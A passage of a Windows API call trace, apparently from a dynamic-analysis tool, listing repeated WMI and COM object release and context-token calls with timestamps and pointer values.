(This=0x119ab20) returned 0x1 [0065.664] WbemDefPath:IUnknown:Release (This=0x119ab20) returned 0x0 [0065.664] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.664] WbemDefPath:IUnknown:Release (This=0x119abe0) returned 0x1 [0065.664] WbemDefPath:IUnknown:Release (This=0x119abe0) returned 0x0 [0065.664] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.664] WbemDefPath:IUnknown:Release (This=0x119aca0) returned 0x1 [0065.664] WbemDefPath:IUnknown:Release (This=0x119aca0) returned 0x0 [0065.664] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.664] WbemDefPath:IUnknown:Release (This=0x119ae20) returned 0x1 [0065.664] WbemDefPath:IUnknown:Release (This=0x119ae20) returned 0x0 [0065.665] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.665] WbemDefPath:IUnknown:Release (This=0x119aee0) returned 0x1 [0065.665] WbemDefPath:IUnknown:Release (This=0x119aee0) returned 0x0 [0065.665] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.665] WbemDefPath:IUnknown:Release (This=0x119afa0) returned 0x1 [0065.665] WbemDefPath:IUnknown:Release (This=0x119afa0) returned 0x0 [0065.665] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.665] WbemDefPath:IUnknown:Release (This=0x119b060) returned 0x1 [0065.665] WbemDefPath:IUnknown:Release (This=0x119b060) returned 0x0 [0065.665] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.665] WbemDefPath:IUnknown:Release (This=0x119b120) returned 0x1 [0065.665] WbemDefPath:IUnknown:Release (This=0x119b120) returned 0x0 [0065.665] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.665] WbemDefPath:IUnknown:Release (This=0x119b2a0) returned 0x1 [0065.665] WbemDefPath:IUnknown:Release (This=0x119b2a0) returned 0x0 [0065.665] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.665] WbemDefPath:IUnknown:Release (This=0x119b360) returned 0x1 [0065.665] WbemDefPath:IUnknown:Release (This=0x119b360) returned 0x0 [0065.665] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.665] WbemDefPath:IUnknown:Release (This=0x119b420) returned 0x1 [0065.665] WbemDefPath:IUnknown:Release (This=0x119b420) returned 0x0 [0065.665] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.665] WbemDefPath:IUnknown:Release (This=0x119b4e0) returned 0x1 [0065.665] WbemDefPath:IUnknown:Release (This=0x119b4e0) returned 0x0 [0065.665] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.665] WbemDefPath:IUnknown:Release (This=0x119b660) returned 0x1 [0065.665] WbemDefPath:IUnknown:Release (This=0x119b660) returned 0x0 [0065.666] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.666] WbemDefPath:IUnknown:Release (This=0x119b720) returned 0x1 [0065.666] WbemDefPath:IUnknown:Release (This=0x119b720) returned 0x0 [0065.666] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.666] WbemDefPath:IUnknown:Release (This=0x119b7e0) returned 0x1 [0065.666] WbemDefPath:IUnknown:Release (This=0x119b7e0) returned 0x0 [0065.666] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.666] WbemDefPath:IUnknown:Release (This=0x119b8a0) returned 0x1 [0065.666] WbemDefPath:IUnknown:Release (This=0x119b8a0) returned 0x0 [0065.666] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.666] WbemDefPath:IUnknown:Release (This=0x119b960) returned 0x1 [0065.666] WbemDefPath:IUnknown:Release (This=0x119b960) returned 0x0 [0065.666] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.666] WbemDefPath:IUnknown:Release (This=0x119bae0) returned 0x1 [0065.666] WbemDefPath:IUnknown:Release (This=0x119bae0) returned 0x0 [0065.666] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.666] WbemDefPath:IUnknown:Release (This=0x119bba0) returned 0x1 [0065.666] WbemDefPath:IUnknown:Release (This=0x119bba0) returned 0x0 [0065.666] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.666] WbemDefPath:IUnknown:Release (This=0x119bc60) returned 0x1 [0065.666] WbemDefPath:IUnknown:Release (This=0x119bc60) returned 0x0 [0065.666] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.666] WbemDefPath:IUnknown:Release (This=0x119bd20) returned 0x1 [0065.666] WbemDefPath:IUnknown:Release (This=0x119bd20) returned 0x0 [0065.666] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.666] WbemDefPath:IUnknown:Release (This=0x119bea0) returned 0x1 [0065.666] WbemDefPath:IUnknown:Release (This=0x119bea0) returned 0x0 [0065.666] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.667] WbemDefPath:IUnknown:Release (This=0x119bf60) returned 0x1 [0065.667] WbemDefPath:IUnknown:Release (This=0x119bf60) returned 0x0 [0065.667] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.667] WbemDefPath:IUnknown:Release (This=0x119c020) returned 0x1 [0065.667] WbemDefPath:IUnknown:Release (This=0x119c020) returned 0x0 [0065.667] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.667] WbemDefPath:IUnknown:Release (This=0x119c0e0) returned 0x1 [0065.667] WbemDefPath:IUnknown:Release (This=0x119c0e0) returned 0x0 [0065.667] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.667] WbemDefPath:IUnknown:Release (This=0x119c1a0) returned 0x1 [0065.667] WbemDefPath:IUnknown:Release (This=0x119c1a0) returned 0x0 [0065.667] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.667] WbemDefPath:IUnknown:Release (This=0x119c320) returned 0x1 [0065.667] WbemDefPath:IUnknown:Release (This=0x119c320) returned 0x0 [0065.667] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.667] WbemDefPath:IUnknown:Release (This=0x119c3e0) returned 0x1 [0065.667] WbemDefPath:IUnknown:Release (This=0x119c3e0) returned 0x0 [0065.667] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.667] WbemDefPath:IUnknown:Release (This=0x119c4a0) returned 0x1 [0065.667] WbemDefPath:IUnknown:Release (This=0x119c4a0) returned 0x0 [0065.667] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.667] WbemDefPath:IUnknown:Release (This=0x1bf3a800) returned 0x1 [0065.667] WbemDefPath:IUnknown:Release (This=0x1bf3a800) returned 0x0 [0065.667] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.667] WbemDefPath:IUnknown:Release (This=0x1bf3a980) returned 0x1 [0065.667] WbemDefPath:IUnknown:Release (This=0x1bf3a980) returned 0x0 [0065.667] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.667] WbemDefPath:IUnknown:Release (This=0x1bf3aa40) returned 0x1 [0065.667] WbemDefPath:IUnknown:Release (This=0x1bf3aa40) returned 0x0 [0065.668] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.668] WbemDefPath:IUnknown:Release (This=0x1bf3ab00) returned 0x1 [0065.668] WbemDefPath:IUnknown:Release (This=0x1bf3ab00) returned 0x0 [0065.668] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.668] WbemDefPath:IUnknown:Release (This=0x1bf3abc0) returned 0x1 [0065.668] WbemDefPath:IUnknown:Release (This=0x1bf3abc0) returned 0x0 [0065.668] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.668] WbemDefPath:IUnknown:Release (This=0x1bf3ac80) returned 0x1 [0065.668] WbemDefPath:IUnknown:Release (This=0x1bf3ac80) returned 0x0 [0065.668] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.668] WbemDefPath:IUnknown:Release (This=0x1bf3ae00) returned 0x1 [0065.668] WbemDefPath:IUnknown:Release (This=0x1bf3ae00) returned 0x0 [0065.668] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.668] WbemDefPath:IUnknown:Release (This=0x1bf3aec0) returned 0x1 [0065.668] WbemDefPath:IUnknown:Release (This=0x1bf3aec0) returned 0x0 [0065.668] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.668] WbemDefPath:IUnknown:Release (This=0x1bf3af80) returned 0x1 [0065.668] WbemDefPath:IUnknown:Release (This=0x1bf3af80) returned 0x0 [0065.668] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.668] WbemDefPath:IUnknown:Release (This=0x1bf3b040) returned 0x1 [0065.668] WbemDefPath:IUnknown:Release (This=0x1bf3b040) returned 0x0 [0065.668] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.669] WbemDefPath:IUnknown:Release (This=0x1bf3b1c0) returned 0x1 [0065.669] WbemDefPath:IUnknown:Release (This=0x1bf3b1c0) returned 0x0 [0065.669] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.669] WbemDefPath:IUnknown:Release (This=0x1bf3b280) returned 0x1 [0065.669] WbemDefPath:IUnknown:Release (This=0x1bf3b280) returned 0x0 [0065.669] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.669] WbemDefPath:IUnknown:Release (This=0x1bf3b340) returned 0x1 [0065.669] WbemDefPath:IUnknown:Release (This=0x1bf3b340) returned 0x0 [0065.669] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.669] WbemDefPath:IUnknown:Release (This=0x1bf3b400) returned 0x1 [0065.669] WbemDefPath:IUnknown:Release (This=0x1bf3b400) returned 0x0 [0065.669] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.669] WbemDefPath:IUnknown:Release (This=0x1bf3b4c0) returned 0x1 [0065.669] WbemDefPath:IUnknown:Release (This=0x1bf3b4c0) returned 0x0 [0065.669] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.669] WbemDefPath:IUnknown:Release (This=0x1bf3b640) returned 0x1 [0065.669] WbemDefPath:IUnknown:Release (This=0x1bf3b640) returned 0x0 [0065.669] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.669] WbemDefPath:IUnknown:Release (This=0x1bf3b700) returned 0x1 [0065.669] WbemDefPath:IUnknown:Release (This=0x1bf3b700) returned 0x0 [0065.669] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.669] WbemDefPath:IUnknown:Release (This=0x1bf3b7c0) returned 0x1 [0065.669] WbemDefPath:IUnknown:Release (This=0x1bf3b7c0) returned 0x0 [0065.669] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.669] WbemDefPath:IUnknown:Release (This=0x1bf3b880) returned 0x1 [0065.669] WbemDefPath:IUnknown:Release (This=0x1bf3b880) returned 0x0 [0065.669] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.669] WbemDefPath:IUnknown:Release (This=0x1bf3ba00) returned 0x1 [0065.669] WbemDefPath:IUnknown:Release (This=0x1bf3ba00) returned 0x0 [0065.670] IUnknown:Release (This=0x1bf45ad0) returned 0x0 [0065.670] IUnknown:Release (This=0x1bf45760) returned 0x0 [0065.670] IUnknown:Release (This=0x1bf453f0) returned 0x0 [0065.670] IUnknown:Release (This=0x1bf45080) returned 0x0 [0065.670] IUnknown:Release (This=0x1bf19f90) returned 0x0 [0065.671] IUnknown:Release (This=0x1bf18f70) returned 0x0 [0065.671] IUnknown:Release (This=0x1bebf900) returned 0x0 [0065.671] IUnknown:Release (This=0x1bef5180) returned 0x0 [0065.671] IUnknown:Release (This=0x1bef4e10) returned 0x0 [0065.671] IUnknown:Release (This=0x1bef4aa0) returned 0x0 [0065.673] IUnknown:Release (This=0x1bef4730) returned 0x0 [0065.673] IUnknown:Release (This=0x1bef43c0) returned 0x0 [0065.673] IUnknown:Release (This=0x1bf19ce0) returned 0x0 [0065.674] IUnknown:Release (This=0x1bf44d10) returned 0x0 [0065.675] IUnknown:Release (This=0x1beef280) returned 0x0 [0065.675] IUnknown:Release (This=0x1bef7b90) returned 0x0 [0065.675] IUnknown:Release (This=0x1bef4050) returned 0x0 [0065.675] IUnknown:Release (This=0x1bef3ce0) returned 0x0 [0065.675] IUnknown:Release (This=0x1bef3970) returned 0x0 [0065.677] IUnknown:Release (This=0x1bef3600) returned 0x0 [0065.677] IUnknown:Release (This=0x1bef3290) returned 0x0 [0065.677] IUnknown:Release (This=0x1bf449a0) returned 0x0 [0065.678] IUnknown:Release (This=0x1bf44630) returned 0x0 [0065.678] IUnknown:Release (This=0x1beed210) returned 0x0 [0065.679] IUnknown:Release (This=0x1beeb730) returned 0x0 [0065.679] IUnknown:Release (This=0x1bebcc10) returned 0x0 [0065.679] IUnknown:Release (This=0x1bebc8a0) returned 0x0 [0065.679] IUnknown:Release (This=0x1bebc530) returned 0x0 [0065.681] IUnknown:Release (This=0x1bebc1c0) returned 0x0 [0065.681] IUnknown:Release (This=0x1bebbe50) returned 0x0 [0065.681] IUnknown:Release (This=0x1bf442c0) returned 0x0 [0065.681] IUnknown:Release (This=0x1bf43f50) returned 0x0 [0065.681] IUnknown:Release (This=0x1bf1a4f0) returned 0x0 [0065.682] IUnknown:Release (This=0x1bf19a30) returned 0x0 [0065.682] IUnknown:Release (This=0x11f5850) returned 0x0 [0065.682] IUnknown:Release (This=0x11f1bf0) returned 0x0 [0065.682] IUnknown:Release (This=0x1bebbae0) returned 0x0 [0065.682] IUnknown:Release (This=0x1bebb770) returned 0x0 [0065.682] IUnknown:Release (This=0x1bebb400) returned 0x0 [0065.682] IUnknown:Release (This=0x1bebb090) returned 0x0 [0065.682] IUnknown:Release (This=0x1bebad20) returned 0x0 [0065.683] IUnknown:Release (This=0x1bf19780) returned 0x0 [0065.683] IUnknown:Release (This=0x1becdce0) returned 0x0 [0065.683] IUnknown:Release (This=0x11f1f50) returned 0x0 [0065.683] IUnknown:Release (This=0x1beba9b0) returned 0x0 [0065.683] IUnknown:Release (This=0x1beba640) returned 0x0 [0065.683] IUnknown:Release (This=0x1beba2d0) returned 0x0 [0065.683] IUnknown:Release (This=0x1beb9f60) returned 0x0 [0065.683] IUnknown:Release (This=0x1beb9bf0) returned 0x0 [0065.684] IUnknown:Release (This=0x1bf43be0) returned 0x0 [0065.684] IUnknown:Release (This=0x1bf43870) returned 0x0 [0065.684] IUnknown:Release (This=0x11f1110) returned 0x0 [0065.684] IUnknown:Release (This=0x11f2d10) returned 0x0 [0065.684] IUnknown:Release (This=0x1beb9880) returned 0x0 [0065.684] IUnknown:Release (This=0x1beb9510) returned 0x0 [0065.684] IUnknown:Release (This=0x1beb91a0) returned 0x0 [0065.685] IUnknown:Release (This=0x11f29a0) returned 0x0 [0065.685] IUnknown:Release (This=0x11f2630) returned 0x0 [0065.685] IUnknown:Release (This=0x1bef6d00) returned 0x0 [0065.688] IUnknown:Release (This=0x1bef6990) returned 0x0 [0065.688] IUnknown:Release (This=0x1bef6620) returned 0x0 [0065.688] IUnknown:Release (This=0x1bf1a240) returned 0x0 [0065.688] IUnknown:Release (This=0x11f0220) returned 0x0 [0065.688] IUnknown:Release (This=0x1199190) returned 0x0 [0065.689] IUnknown:Release (This=0x11ee650) returned 0x0 [0065.689] IUnknown:Release (This=0x11ede80) returned 0x0 [0065.689] IUnknown:Release (This=0x11ed450) returned 0x0 [0065.689] IUnknown:Release (This=0x11e6870) returned 0x0 [0065.689] IUnknown:Release (This=0x11de7e0) returned 0x0 [0065.689] IUnknown:Release (This=0x1bf194d0) returned 0x0 [0065.689] IUnknown:Release (This=0x11dd270) returned 0x0 [0065.689] IUnknown:Release (This=0x11db760) returned 0x0 [0065.690] IUnknown:Release (This=0x11db3f0) returned 0x0 [0065.690] IUnknown:Release (This=0x11dac20) returned 0x0 [0065.690] IUnknown:Release (This=0x11da1f0) returned 0x0 [0065.690] IUnknown:Release (This=0x11d2610) returned 0x0 [0065.690] IUnknown:Release (This=0x11ca7b0) returned 0x0 [0065.690] IUnknown:Release (This=0x1bf19220) returned 0x0 [0065.690] IUnknown:Release (This=0x11c6f40) returned 0x0 [0065.691] IUnknown:Release (This=0x11c5440) returned 0x0 [0065.691] IUnknown:Release (This=0x11c50d0) returned 0x0 [0065.691] IUnknown:Release (This=0x11c4900) returned 0x0 [0065.691] IUnknown:Release (This=0x11c3ed0) returned 0x0 [0065.691] IUnknown:Release (This=0x11be2f0) returned 0x0 [0065.691] IUnknown:Release (This=0x11b8f10) returned 0x0 [0065.691] IUnknown:Release (This=0x1bef62b0) returned 0x0 [0065.691] IUnknown:Release (This=0x1bef5f40) returned 0x0 [0065.691] IUnknown:Release (This=0x1bef5bd0) returned 0x0 [0065.694] IUnknown:Release (This=0x1bef5860) returned 0x0 [0065.694] IUnknown:Release (This=0x1bef54f0) returned 0x0 [0065.694] IUnknown:Release (This=0x1bf45e40) returned 0x0 [0082.558] CoGetContextToken (in: pToken=0x135f710 | out: pToken=0x135f710) returned 0x0 [0082.558] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.558] WbemLocator:IUnknown:Release (This=0x1bece280) returned 0x1 [0082.558] WbemLocator:IUnknown:Release (This=0x1bece280) returned 0x0 [0082.558] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.558] WbemLocator:IUnknown:Release (This=0x1130ee0) returned 0x1 [0082.558] WbemLocator:IUnknown:Release (This=0x1130ee0) returned 0x0 [0082.563] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.563] WbemLocator:IUnknown:Release (This=0x11304c0) returned 0x1 [0082.563] WbemLocator:IUnknown:Release (This=0x11304c0) returned 0x0 [0082.606] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.606] WbemLocator:IUnknown:Release (This=0x11ae280) returned 0x1 [0082.606] WbemLocator:IUnknown:Release (This=0x11ae280) returned 0x0 [0082.606] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.606] IUnknown:Release (This=0x11ea300) returned 0x1 [0082.606] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.606] WbemLocator:IUnknown:Release (This=0x11c7830) returned 0x1 [0082.606] WbemLocator:IUnknown:Release (This=0x11c7830) returned 0x0 [0082.608] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.608] WbemLocator:IUnknown:Release (This=0x1beaa230) returned 0x1 [0082.608] WbemLocator:IUnknown:Release (This=0x1beaa230) returned 0x0 [0082.608] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.609] WbemLocator:IUnknown:Release (This=0x1bed2270) returned 0x1 [0082.609] WbemLocator:IUnknown:Release (This=0x1bed2270) returned 0x0 [0082.609] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.609] WbemLocator:IUnknown:Release (This=0x1beaa830) returned 0x1 [0082.609] WbemLocator:IUnknown:Release (This=0x1beaa830) returned 0x0 [0082.609] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.609] IUnknown:Release (This=0x11e91d0) returned 0x1 [0082.609] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.610] WbemLocator:IUnknown:Release (This=0x11c86d0) returned 0x1 [0082.610] WbemLocator:IUnknown:Release (This=0x11c86d0) returned 0x0 [0082.610] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.610] WbemLocator:IUnknown:Release (This=0x1bec5e20) returned 0x1 [0082.610] WbemLocator:IUnknown:Release (This=0x1bec5e20) returned 0x0 [0082.610] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.611] WbemLocator:IUnknown:Release (This=0x1bf28f80) returned 0x1 [0082.611] WbemLocator:IUnknown:Release (This=0x1bf28f80) returned 0x0 [0082.611] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.611] WbemLocator:IUnknown:Release (This=0x1bedaed0) returned 0x1 [0082.611] WbemLocator:IUnknown:Release (This=0x1bedaed0) returned 0x0 [0082.611] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.611] WbemLocator:IUnknown:Release (This=0x1bea6480) returned 0x1 [0082.611] WbemLocator:IUnknown:Release (This=0x1bea6480) returned 0x0 [0082.612] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.612] IUnknown:Release (This=0x1bef6d00) returned 0x1 [0082.612] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.612] WbemLocator:IUnknown:Release (This=0x1becff90) returned 0x1 [0082.612] WbemLocator:IUnknown:Release (This=0x1becff90) returned 0x0 [0082.612] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.612] WbemLocator:IUnknown:Release (This=0x1bf29be0) returned 0x1 [0082.612] WbemLocator:IUnknown:Release (This=0x1bf29be0) returned 0x0 [0082.613] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.613] WbemLocator:IUnknown:Release (This=0x11f1460) returned 0x1 [0082.613] WbemLocator:IUnknown:Release (This=0x11f1460) returned 0x0 [0082.613] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.613] WbemLocator:IUnknown:Release (This=0x1bea7320) returned 0x1 [0082.613] WbemLocator:IUnknown:Release (This=0x1bea7320) returned 0x0 [0082.613] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.613] IUnknown:Release (This=0x1bef5bd0) returned 0x1 [0082.613] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.613] WbemLocator:IUnknown:Release (This=0x11d5150) returned 0x1 [0082.614] WbemLocator:IUnknown:Release (This=0x11d5150) returned 0x0 [0082.614] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.614] WbemLocator:IUnknown:Release (This=0x1bed1bb0) returned 0x1 [0082.614] WbemLocator:IUnknown:Release (This=0x1bed1bb0) returned 0x0 [0082.615] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.615] WbemLocator:IUnknown:Release (This=0x1bf00240) returned 0x1 [0082.615] WbemLocator:IUnknown:Release (This=0x1bf00240) returned 0x0 [0082.615] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.615] WbemLocator:IUnknown:Release (This=0x11c94c0) returned 0x1 [0082.615] WbemLocator:IUnknown:Release (This=0x11c94c0) returned 0x0 [0082.615] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.615] IUnknown:Release (This=0x1bef4aa0) returned 0x1 [0082.615] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.615] WbemLocator:IUnknown:Release (This=0x1bed2a50) returned 0x1 [0082.615] WbemLocator:IUnknown:Release (This=0x1bed2a50) returned 0x0 [0082.616] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.616] WbemLocator:IUnknown:Release (This=0x1bf116a0) returned 0x1 [0082.616] WbemLocator:IUnknown:Release (This=0x1bf116a0) returned 0x0 [0082.616] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.616] WbemLocator:IUnknown:Release (This=0x1bf01a70) returned 0x1 [0082.616] WbemLocator:IUnknown:Release (This=0x1bf01a70) returned 0x0 [0082.617] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.617] WbemLocator:IUnknown:Release (This=0x1bf10fe0) returned 0x1 [0082.617] WbemLocator:IUnknown:Release (This=0x1bf10fe0) returned 0x0 [0082.617] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.617] IUnknown:Release (This=0x1bef3970) returned 0x1 [0082.617] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.617] WbemLocator:IUnknown:Release (This=0x1bed38f0) returned 0x1 [0082.617] WbemLocator:IUnknown:Release (This=0x1bed38f0) returned 0x0 [0082.618] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.618] WbemLocator:IUnknown:Release (This=0x1bf2a920) returned 0x1 [0082.618] WbemLocator:IUnknown:Release (This=0x1bf2a920) returned 0x0 [0082.618] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.618] WbemLocator:IUnknown:Release (This=0x1bea6ea0) returned 0x1 [0082.618] WbemLocator:IUnknown:Release (This=0x1bea6ea0) returned 0x0 [0082.618] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.618] WbemLocator:IUnknown:Release (This=0x1bf2ad80) returned 0x1 [0082.618] WbemLocator:IUnknown:Release (This=0x1bf2ad80) returned 0x0 [0082.618] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.618] IUnknown:Release (This=0x1bf46c00) returned 0x1 [0082.618] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.618] WbemLocator:IUnknown:Release (This=0x1bf00d80) returned 0x1 [0082.619] WbemLocator:IUnknown:Release (This=0x1bf00d80) returned 0x0 [0082.619] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.619] WbemLocator:IUnknown:Release (This=0x11f7b10) returned 0x1 [0082.619] WbemLocator:IUnknown:Release (This=0x11f7b10) returned 0x0 [0082.619] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.619] WbemLocator:IUnknown:Release (This=0x11c7290) returned 0x1 [0082.619] WbemLocator:IUnknown:Release (This=0x11c7290) returned 0x0 [0082.620] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.620] WbemLocator:IUnknown:Release (This=0x11f7c50) returned 0x1 [0082.620] WbemLocator:IUnknown:Release (This=0x11f7c50) returned 0x0 [0082.620] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.620] WbemLocator:IUnknown:Release (This=0x1bf01c20) returned 0x1 [0082.620] WbemLocator:IUnknown:Release (This=0x1bf01c20) returned 0x0 [0082.620] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.620] IUnknown:Release (This=0x1bf45760) returned 0x1 [0082.620] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.620] WbemLocator:IUnknown:Release (This=0x1bf3dfa0) returned 0x1 [0082.620] WbemLocator:IUnknown:Release (This=0x1bf3dfa0) returned 0x0 [0082.620] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.620] WbemLocator:IUnknown:Release (This=0x1bf29370) returned 0x1 [0082.621] WbemLocator:IUnknown:Release (This=0x1bf29370) returned 0x0 [0082.621] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.621] WbemLocator:IUnknown:Release (This=0x11c8ac0) returned 0x1 [0082.621] WbemLocator:IUnknown:Release (This=0x11c8ac0) returned 0x0 [0082.622] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.622] WbemLocator:IUnknown:Release (This=0x1bf3e0e0) returned 0x1 [0082.622] WbemLocator:IUnknown:Release (This=0x1bf3e0e0) returned 0x0 [0082.622] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.622] IUnknown:Release (This=0x1bf44630) returned 0x1 [0082.622] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.622] WbemLocator:IUnknown:Release (This=0x1bf2a210) returned 0x1 [0082.622] WbemLocator:IUnknown:Release (This=0x1bf2a210) returned 0x0 [0082.622] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.622] WbemLocator:IUnknown:Release (This=0x1bef8720) returned 0x1 [0082.622] WbemLocator:IUnknown:Release (This=0x1bef8720) returned 0x0 [0082.622] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0082.622] WbemLocator:IUnknown:Release (This=0x1bf548f0) returned 0x1 [0082.623] 